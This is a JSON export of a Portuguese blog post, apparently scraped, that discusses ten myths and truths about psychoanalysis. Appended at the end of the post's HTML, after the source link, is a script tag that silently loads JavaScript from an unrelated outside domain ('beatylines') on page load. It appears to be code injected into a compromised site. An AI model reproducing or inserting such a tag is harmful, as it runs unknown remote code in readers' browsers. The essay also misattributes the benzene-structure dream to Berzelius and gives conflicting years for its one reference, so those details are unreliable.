{"id":2869,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/10-mitos-e-verdades-sobre-a-psicanalise\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"10-mitos-e-verdades-sobre-a-psicanalise","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/10-mitos-e-verdades-sobre-a-psicanalise\/","title":{"rendered":"10 mitos e verdades sobre a psican\u00e1lise"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Veja a seguir 10 mitos, verdades ou semiverdades sobre a psican\u00e1lise.<\/p>\n<p><strong>1. Para o psicanalista, tudo \u00e9 culpa do pai e da m\u00e3e<\/strong><\/p>\n<p>Mito em estrutura de fic\u00e7\u00e3o.<\/p>\n<p>N\u00e3o estamos atr\u00e1s da culpa, mas da responsabilidade e esta \u00e9 sempre do pr\u00f3prio sujeito, na medida que seu desejo est\u00e1 envolvido.<\/p>\n<p>Ocorre que nosso desejo \u00e9 constru\u00eddo como a hist\u00f3ria de nossa vida, com seus bons e maus encontros, com suas interpreta\u00e7\u00f5es e recorda\u00e7\u00f5es, com suas edi\u00e7\u00f5es e censuras.<\/p>\n<p>Nossos pais s\u00e3o o come\u00e7o desta hist\u00f3ria, e por isso passam a representar tudo o que estava no mundo antes de n\u00f3s chegarmos: a cultura, a sociedade, a l\u00edngua e a mitologia de nossa fam\u00edlia.<\/p>\n<p>Quando uma psican\u00e1lise refaz as rela\u00e7\u00f5es com nossos pais e antepassados n\u00e3o \u00e9 para livrar-se do que n\u00e3o nos pertence, mas para recuperar uma parte importante do que esquecemos que fomos. Sem isso, a pobreza do passado se far\u00e1 mis\u00e9ria desejante do futuro.<\/p>\n<p>Quando as coisas n\u00e3o d\u00e3o muito certo, nossa tend\u00eancia \u00e9 ir reclamar com a &#8220;ger\u00eancia&#8221;. A psican\u00e1lise existe para nos curar disso, n\u00e3o para nos fixar nisso.<\/p>\n<p><strong>2. Em psican\u00e1lise, tudo tem de ter sempre uma interpreta\u00e7\u00e3o sexual<\/strong><\/p>\n<p>Verdade, mas n\u00e3o toda.<\/p>\n<p>Toda interpreta\u00e7\u00e3o \u00e9 sexual sim, mas desde que se esclare\u00e7a o que quer dizer &#8220;sexual&#8221; e o que vem a ser uma &#8220;interpreta\u00e7\u00e3o&#8221; em psican\u00e1lise.<\/p>\n<p>Pensemos nesta satisfa\u00e7\u00e3o que a crian\u00e7a tem quando resolve um problema na escola, neste prazer que experimentamos quando reencontramos algu\u00e9m querido, quando descobrimos pela primeira vez uma nova sensa\u00e7\u00e3o em nosso corpo, quando sentimos o olhar ou a admira\u00e7\u00e3o do outro.<\/p>\n<p>Pense que tudo o que nos faz &#8220;sentido&#8221; vem junto com uma pitada que seja de prazer. A\u00ed est\u00e1 o sexual.<\/p>\n<p>O problema n\u00e3o \u00e9 que a psican\u00e1lise introduza o sexual por toda parte, mas que ele j\u00e1 esteja a\u00ed, na forma deste &#8220;sentido&#8221; que faz a vida valer a pena ou tornar-se insuport\u00e1vel.<\/p>\n<p>A interpreta\u00e7\u00e3o sexual j\u00e1 \u00e9 dada pelo neur\u00f3tico. O que a interpreta\u00e7\u00e3o psicanal\u00edtica faz \u00e9 aliviar este excesso de sentido sexual.<\/p>\n<p>N\u00e3o precisamos de todo o sentido do mundo para viver. Na verdade, um tanto de falta de sentido (portanto, tr\u00e9gua na interpreta\u00e7\u00e3o sexual) faz bem.<\/p>\n<p><strong>3. A psican\u00e1lise \u00e9 uma teoria velha e desatualizada<\/strong><\/p>\n<p>Meio verdade, meio mentira.<\/p>\n<p>Ela \u00e9 certamente uma das mais antigas formas de psicoterapia ou de cura pela palavra, mais ou menos contempor\u00e2nea do in\u00edcio da psicologia como disciplina universit\u00e1ria independente. Portanto, sim. Para o contexto ela \u00e9 antiga.<\/p>\n<p>Contudo, teorias velhas n\u00e3o s\u00e3o necessariamente desatualizadas. A geometria de Euclides, a f\u00edsica de Newton, a teoria darwiniana da evolu\u00e7\u00e3o, s\u00e3o todas mais velhas que a psican\u00e1lise, nem por isso est\u00e3o desatualizadas no sentido de in\u00fateis. Sofreram adendos, relativiza\u00e7\u00f5es e modifica\u00e7\u00f5es, exatamente como aconteceu com a psican\u00e1lise de Freud.<\/p>\n<p>Mas ao contr\u00e1rio das teorias anteriormente mencionadas, a psican\u00e1lise n\u00e3o \u00e9 s\u00f3 uma teoria, ela \u00e9 principalmente um m\u00e9todo para tratar sintomas, certas formas de sofrimento e de mal-estar. Neste sentido ela \u00e9 um desdobramento de pr\u00e1ticas de cura pela palavra mais antigas que Freud.<\/p>\n<p>Compar\u00e1-la com as interven\u00e7\u00f5es bioqu\u00edmicas \u00e9 como comparar uma mudan\u00e7a no software com uma transforma\u00e7\u00e3o no hardware de seu computador. Neste sentido, ela n\u00e3o seria nem atualizada nem desatualizada, mas simplesmente outra coisa.<\/p>\n<p><strong>4. O psicanalista entra na sess\u00e3o mudo e sai calado<\/strong><\/p>\n<p>Verdadeiro quando necess\u00e1rio.<\/p>\n<p>As principais mudan\u00e7as n\u00e3o acontecem quando n\u00f3s escutamos o outro, mas quando n\u00f3s nos tornamos capazes de nos escutar (o que facilita bem para escutar o outro, depois disso).<\/p>\n<p>Fazemos como Sancho Pan\u00e7a com Dom Quixote, dizemos a todo momento: &#8220;mas escute bem o que o senhor est\u00e1 dizendo&#8221;. Se voc\u00ea imagina que em menos de uma hora de sess\u00e3o psicanal\u00edtica, toda a massa de experi\u00eancias, desencontros, incoer\u00eancias e complica\u00e7\u00f5es que comp\u00f5e qualquer vida vai ser alterada pela palavra m\u00e1gica do outro, procure um xam\u00e3.<\/p>\n<p>A \u00fanica chance que temos \u00e9 fazer o sujeito trabalhar &#8220;fora&#8221; da sess\u00e3o, e que esta seja um impulso, um gr\u00e3o de areia capaz de fazer a estrutura ranger, estimulando seu posterior trabalho elaborativo.<\/p>\n<p>Acho tamb\u00e9m que a imagem \u00e9 falsa. Hoje em dia os analistas falam muito mais nas sess\u00f5es do que antigamente.<\/p>\n<p><strong>5. O paciente tem de contar seus sonhos para o analista<\/strong><\/p>\n<p>Verdadeiro, mas n\u00e3o obrigat\u00f3rio.<\/p>\n<p>Quando se come\u00e7a uma an\u00e1lise, um dos fen\u00f4menos mais misteriosos \u00e9 que pessoas que nunca se lembram de seus sonhos, come\u00e7am a traz\u00ea-los para a sess\u00e3o. Obviamente isso quer dizer que h\u00e1 algu\u00e9m que est\u00e1 esperando por eles, e isso muda tudo.<\/p>\n<p>O sonho \u00e9 de fato uma pe\u00e7a muito \u00fatil do tratamento, n\u00e3o porque ele contenha algum conte\u00fado que n\u00e3o seria acess\u00edvel de outra forma, mas porque ele coloca o sujeito na &#8220;atitude&#8221; que conv\u00e9m ao tratamento, ou seja, examinar fatos que pertencem a ele, que s\u00e3o de sua lavra e produ\u00e7\u00e3o, sem que ao mesmo tempo seu sentido seja imediato e transparente.<\/p>\n<p>Costumo &#8220;encomendar&#8221; sonhos, em momentos espec\u00edficos do tratamento. Quase sempre d\u00e1 certo. Como <a href=\"https:\/\/educacao.uol.com.br\/biografias\/jons-jakob-berzelius.htm\" target=\"_blank\" rel=\"noopener\">Berzelius<\/a> que descobriu a solu\u00e7\u00e3o para o problema da estrutura qu\u00edmica do benzeno atrav\u00e9s de um sonho.<\/p>\n<p><strong>6. O tratamento psicanal\u00edtico \u00e9 longo demais<\/strong><\/p>\n<p>Verdade poss\u00edvel.<\/p>\n<p>Os objetivos do tratamento s\u00e3o recolocados muitas vezes ao longo de seu desenvolvimento. H\u00e1 muitos pontos de parada, assim como h\u00e1 v\u00e1rios rein\u00edcios, estabelecidos ou n\u00e3o em contrato.<\/p>\n<p>H\u00e1 an\u00e1lises curtas, baseadas em sintomas ou situa\u00e7\u00f5es de vida pontuais e cr\u00edticas. H\u00e1 an\u00e1lises longas como uma viagem que se vai levando mais longe na medida do interesse.<\/p>\n<p>Em trajetos mais longos, a remo\u00e7\u00e3o de problemas vai cedendo espa\u00e7o para a aventura da descoberta.<\/p>\n<p>H\u00e1 gente que vai e volta de vez em quando. H\u00e1 pessoas que levam tr\u00eas ou quatro encontros para o resto da vida, como algo fundamental.<\/p>\n<p>H\u00e1 casos que podem ser comparados com aquela antiga piada sobre a filosofia, ou seja, aquilo sem o qual tudo continua tal e qual.<\/p>\n<p>Sempre \u00e9 central resolver a separa\u00e7\u00e3o com o analista, modelo de outras separa\u00e7\u00f5es poss\u00edveis.<\/p>\n<p>H\u00e1 tamb\u00e9m an\u00e1lises intermin\u00e1veis, que se tornam parte de uma exist\u00eancia cronicamente prec\u00e1ria ou invi\u00e1vel. Por outro lado, h\u00e1 condi\u00e7\u00f5es, e muitas, na medicina, na qual o tratamento \u00e9 para a vida toda, porque n\u00e3o seria este o caso para a vida ps\u00edquica tamb\u00e9m?<\/p>\n<p>Esta varia\u00e7\u00e3o entre meios e fins pode ser usada para esconder imper\u00edcia, neglig\u00eancia e imprud\u00eancia. aliena\u00e7\u00e3o e depend\u00eancia, o que qualquer tratamento deveria evitar.<\/p>\n<p>Por outro lado, tudo o que realmente vale a pena na vida demora, custa ou \u00e9 proibido.<\/p>\n<p><strong>7. A psican\u00e1lise n\u00e3o apresenta evid\u00eancias de efic\u00e1cia<\/strong><\/p>\n<p>Comprovadamente falso.<\/p>\n<p>A defini\u00e7\u00e3o de cura pode mudar ao longo do tratamento, no entanto, se a pergunta \u00e9 focada na efic\u00e1cia comparativa com outras abordagens psicoterap\u00eauticas ou com tratamentos medicamentosos, h\u00e1 recentes pesquisas que comprovam a efici\u00eancia da psican\u00e1lise.<\/p>\n<p>Ainda assim \u00e9 preciso ressaltar a terr\u00edvel redu\u00e7\u00e3o metodol\u00f3gica que se deve fazer para chegar a este tipo de resultado: formas diferentes de psican\u00e1lise, tipos de paciente, experi\u00eancias formativas e profissionais distintas entre analistas, modalidades diversas e irreprodut\u00edveis de sintoma, extens\u00e3o e regularidade do tratamento, momentos diferenciais de vida, dimens\u00e3o proporcionalmente incompar\u00e1vel do sofrimento impingido pelos sintomas e, finalmente, o chamado &#8220;car\u00e1ter \u00fanico do encontro&#8221; que se d\u00e1 entre os envolvidos, muitas vezes comparado ao encontro amoroso.<\/p>\n<p>Uma prova cient\u00edfica e cabal de que a psican\u00e1lise cura pode ser encontrada na seguinte meta-an\u00e1lise (um tipo de estudo que equaliza e re\u00fane centenas de outras pesquisas, potencializando seus resultados convergentes).<\/p>\n<p>Mais recentemente as obje\u00e7\u00f5es estat\u00edsticas e metodol\u00f3gicas destes resultados foram refutadas, comprovando n\u00e3o apenas a consist\u00eancia das evid\u00eancias para a psicoterapia psicodin\u00e2mica, mas tamb\u00e9m para a psicoterapia psicanal\u00edtica <strong>[1]<\/strong>.<\/p>\n<p><strong>8. A psican\u00e1lise \u00e9 uma psicoterapia melhor que as outras<\/strong><\/p>\n<p>Falsidade indecid\u00edvel e indiscern\u00edvel.<\/p>\n<p>A maior parte dos estudos comparativos entre modalidades de psicoterapia esbarra na quantidade de fatores a serem comparados, desde a variedade de formas diagn\u00f3sticas at\u00e9 o fato de que nem todo sofrimento tratado pelas terapias precisa ter um nome claro e discern\u00edvel em termos de psicopatologia.<\/p>\n<p>Mas tamb\u00e9m a compara\u00e7\u00e3o entre as in\u00fameras formas de psicoterapia, com pacientes mais ou menos graves, com terapeutas mais ou menos experientes, com cl\u00ednicos mais ou menos bem formados, com combina\u00e7\u00f5es diversas &#8220;do que funciona para quem e quando&#8221;, vem sugerindo que a variedade entre os terapeutas de uma mesma abordagem \u00e9 consistentemente mais importante do que a diferen\u00e7a entre uma abordagem ou outra.<\/p>\n<p>Moral da hist\u00f3ria: n\u00e3o se pode afirmar a superioridade de uma abordagem sobre as demais, principalmente quando se consideram as psicoterapias historicamente mais antigas e ramificadas do ponto de vista de sua renova\u00e7\u00e3o metodol\u00f3gica.<\/p>\n<p>Assim como n\u00e3o tratamos da doen\u00e7a, mas do doente, talvez o terapeuta, e principalmente a qualidade da rela\u00e7\u00e3o com ele, importa mais do que o m\u00e9todo que ele segue.<\/p>\n<p><strong>9. H\u00e1 muitas cr\u00edticas \u00e0 psican\u00e1lise<\/strong><\/p>\n<p>Positivamente verdadeiro.<\/p>\n<p>De <a href=\"https:\/\/educacao.uol.com.br\/biografias\/ludwig-wittgenstein.htm\" target=\"_blank\" rel=\"noopener\">Wittgenstein<\/a> at\u00e9 <a href=\"https:\/\/educacao.uol.com.br\/disciplinas\/filosofia\/filosofia-da-ciencia-karl-popper-falseabilidade-e-limites-da-ciencia.htm\" target=\"_blank\" rel=\"noopener\">Popper<\/a>, de <a href=\"https:\/\/educacao.uol.com.br\/biografias\/jean-paul-sartre.htm\" target=\"_blank\" rel=\"noopener\">Sartre<\/a> at\u00e9 Gr\u00fcnbaum, de <a href=\"https:\/\/educacao.uol.com.br\/disciplinas\/filosofia\/filosofia-pos-moderna---michel-foucault-a-genealogia-dos-micropoderes.htm\" target=\"_blank\" rel=\"noopener\">Foucault<\/a> a Deleuze e Guattari, das feministas ao pensamento decolonial, a psican\u00e1lise recebe cr\u00edticas bem ou mal feitas.<\/p>\n<p>Para alguns, ela seria herdeira de pr\u00e1ticas confessionais de extra\u00e7\u00e3o religiosa, como dispositivo de localiza\u00e7\u00e3o da verdade do sujeito em sua interioridade sexual, dependente da falsa hip\u00f3tese repressiva.<\/p>\n<p>Para outros, ela combina indevidamente explica\u00e7\u00f5es liter\u00e1rias com biologia. Para outros, ela forma parte no patriarcalismo e \u00e9 uma pr\u00e1tica de elites para elites.<\/p>\n<p>Outros ainda entendem tratar-se de uma pr\u00e1tica que concorre para a psiquiatriza\u00e7\u00e3o da sociedade, notadamente do controle das fam\u00edlias e de alguns tipos sociais que lhe seriam normativamente contr\u00e1rios.<\/p>\n<p>Isso tudo costuma ser percebido pelos psicanalistas como uma generaliza\u00e7\u00e3o exterior \u00e0 sua pr\u00f3pria pr\u00e1tica, como se ela n\u00e3o fosse interna e intimamente uma pr\u00e1tica que estaria \u00e0s voltas com sua constitui\u00e7\u00e3o social e consequente circula\u00e7\u00e3o de poder.<\/p>\n<p>No fundo \u00e9 preciso desfazer o mito da unidade da psican\u00e1lise, entender que sua diversidade convive com refer\u00eancias comuns, mas que, em quase todos os ramos das pr\u00e1ticas humanas convivem vers\u00f5es mais conservadoras e vers\u00f5es mais progressistas, modalidades mais sens\u00edveis ao potencial transformativo da cr\u00edtica e outras mais resistentes. Se queremos formas de psican\u00e1lise menos neur\u00f3tico-c\u00eantrica, menos androc\u00eantrica, menos totemista-patriarcal, menos judicialista-disciplinar, menos indiferente ao tema do poder na pr\u00f3pria situa\u00e7\u00e3o anal\u00edtica.<\/p>\n<p>O mais prov\u00e1vel \u00e9 que as cr\u00edticas destitutivas, que querem eliminar esta pr\u00e1tica como nociva e enganadora, assim como os defensores ardorosos da imutabilidade freudiana estejam juntos e unidos no mesmo equ\u00edvoco.<\/p>\n<p>Diante desta incerteza o melhor caminho \u00e9 jamais desistir do seu desejo de cura e nunca imaginar que se tem uma ideia do que \u00e9 um elefante, s\u00f3 porque ele colocou sua pata sobre seu peito ou porque voc\u00ea o viu pastar na savana.<\/p>\n<p>Isso vale tamb\u00e9m para o paciente que deve sempre estar atento a picaretas, aproveitadores e malformados, que se comportam como elefantes numa loja de cristal.<\/p>\n<p><strong>10. Quando \u00e9 a hora de procurar uma psicoterapia?<\/strong><\/p>\n<p>A vida n\u00e3o vem sem sofrimento e mis\u00e9ria. Se isso fosse suficiente para determinar a procura de ajuda seria simples: psicoterapia para todos.<\/p>\n<p>N\u00e3o penso que seja este o caso.<\/p>\n<p>H\u00e1 situa\u00e7\u00f5es como depend\u00eancias qu\u00edmicas, disposi\u00e7\u00f5es de personalidade e sintomas espec\u00edficos para os quais a maior dificuldade \u00e9 procurar tratamento. Se o sintoma deixasse o sujeito pedir ajuda &#8220;meio caminho j\u00e1 teria sido andado&#8221;.<\/p>\n<p>Nesta linha a psicoterapia s\u00f3 seria poss\u00edvel para aqueles para quem ela j\u00e1 n\u00e3o \u00e9 mais necess\u00e1ria.<\/p>\n<p>Pedir ajuda \u00e9 um grande sinal de salubridade ps\u00edquica. Indica que voc\u00ea foi capaz de perceber e autodiagnosticar uma forma de sofrimento.<\/p>\n<p>Sugere tamb\u00e9m que voc\u00ea entende que isto n\u00e3o \u00e9 apenas uma defici\u00eancia moral, uma insufici\u00eancia de sua educa\u00e7\u00e3o ou uma ofensa ao seu sistema de cren\u00e7as.<\/p>\n<p>O autodiagn\u00f3stico \u00e9 parte do processo de cura.<\/p>\n<p>O cl\u00ednico tender\u00e1 a interpretar este movimento cr\u00edtico como parte de seu desejo de transforma\u00e7\u00e3o.<\/p>\n<p>Antigos fil\u00f3sofos j\u00e1 diziam que era dif\u00edcil suportar a ideia de ser &#8220;libertado pelo outro&#8221;, tanto porque isso indica passividade e fraqueza, quanto porque seria uma liberdade falsa, obtida por meios que n\u00e3o s\u00e3o pr\u00f3prios.<\/p>\n<p>Esta oposi\u00e7\u00e3o entre resolver-se por si, &#8220;aceitando-se como voc\u00ea \u00e9&#8221;, ou pedir ajuda e ficar dependente nas &#8220;m\u00e3os do outro&#8221; deve ser superada.<\/p>\n<p>Como em tudo mais na vida, atravessamos problemas e nos tornamos aut\u00f4nomos com os outros e n\u00e3o sem eles.<\/p>\n<p>Contudo, isso n\u00e3o explica quando um sintoma se torna insuport\u00e1vel a ponto de demandar tratamento.<\/p>\n<p>Os verdadeiros sintomas n\u00e3o se definem pelo c\u00f3digo social de condutas desej\u00e1veis, mas por duas formas espec\u00edficas de rela\u00e7\u00e3o que mantemos com o que fazemos.<\/p>\n<p>H\u00e1 os sintomas baseados na forma &#8220;ter que&#8221;, definidos pela coercitividade. Exemplo: trabalho, como todo mundo, todo dia, e me queixo e me felicito nele. Isso pode ser um sofrimento &#8220;suport\u00e1vel&#8221;. No entanto, outra pessoa pode sentir que &#8220;eu tenho que&#8221; ir trabalhar, porque se n\u00e3o for &#8220;algo acontecer\u00e1&#8221;, sentirei ang\u00fastia extrema, serei criticado impiedosamente pelo chefe, e assim por diante.<\/p>\n<p>H\u00e1 aqui o recobrimento de um &#8220;comportamento aceit\u00e1vel&#8221; (trabalho) por uma disposi\u00e7\u00e3o patol\u00f3gica (coer\u00e7\u00e3o subjetiva a).<\/p>\n<p>A segunda fam\u00edlia de sintomas obedece a gram\u00e1tica do &#8220;n\u00e3o posso com&#8221;. S\u00e3o situa\u00e7\u00f5es que podem parecer irrelevantes, ou plenamente aceitas socialmente, mas que s\u00e3o vividas com sofrimento adicional. Exemplo: &#8220;n\u00e3o posso com baratas, com ratos, com pessoas deste &#8216;tipo&#8217;, com mulheres desta &#8216;forma&#8217;, com perdas, com ganhos&#8221; e assim por diante.<\/p>\n<p>O diagn\u00f3stico que autoriza um tratamento psicoter\u00e1pico est\u00e1 mais atendo a esta incid\u00eancia &#8220;subjetiva&#8221; do &#8220;ter que&#8221; ou do &#8220;n\u00e3o posso com&#8221; do que com a norma de vida esperada para algu\u00e9m ou \u00e9poca.<\/p>\n<p>Ainda que \u00fanicos, os sofrimentos s\u00e3o igualmente tr\u00e1gicos e c\u00f4micos. Eles s\u00e3o o que as pessoas t\u00eam de melhor e de pior. S\u00e3o como obras de arte que se tornam o bem mais precioso e inarred\u00e1vel de algu\u00e9m, s\u00e3o tamb\u00e9m sua religi\u00e3o particular, feita de ritos, mitos, ora\u00e7\u00f5es e devo\u00e7\u00f5es.<\/p>\n<p>Quando temos um nome para o mal-estar, uma hist\u00f3ria para nosso sofrimento, os sintomas revelam-se uma maneira de dizer o que n\u00e3o pode ser dito por outras vias.<\/p>\n<p>Talvez a fun\u00e7\u00e3o do psicoterapeuta seja parecida com a de um carteiro que pega cartas embaralhadas, as cartas de nosso destino, e ajuda a entregar as que podem ser entregues, reenviar as que est\u00e3o sem destinat\u00e1rio e cuidar daquelas que ainda n\u00e3o foram escritas.<\/p>\n<p><strong>REFER\u00caNCIA<\/strong><\/p>\n<p><strong>[1] <\/strong>Woll, Christian Franz Josef , Sch\u00f6nbrodt, Felix D. (2021) <em>A series of meta-analytic tests of the efficacy of long-term psychoanalytic psychotherapy<\/em>. European Psychologist, Vol 25(1), 2020, 51-72<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/blog-do-dunker\/2022\/08\/01\/10-mitos-e-algumas-verdades-sobre-a-psicanalise.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Veja a seguir 10 mitos, verdades ou semiverdades sobre a psican\u00e1lise. 1. Para o psicanalista, tudo \u00e9 culpa do pai e da m\u00e3e Mito em estrutura de fic\u00e7\u00e3o. N\u00e3o estamos atr\u00e1s da culpa, mas da responsabilidade e esta \u00e9 sempre do pr\u00f3prio sujeito, na medida que seu desejo est\u00e1 envolvido. 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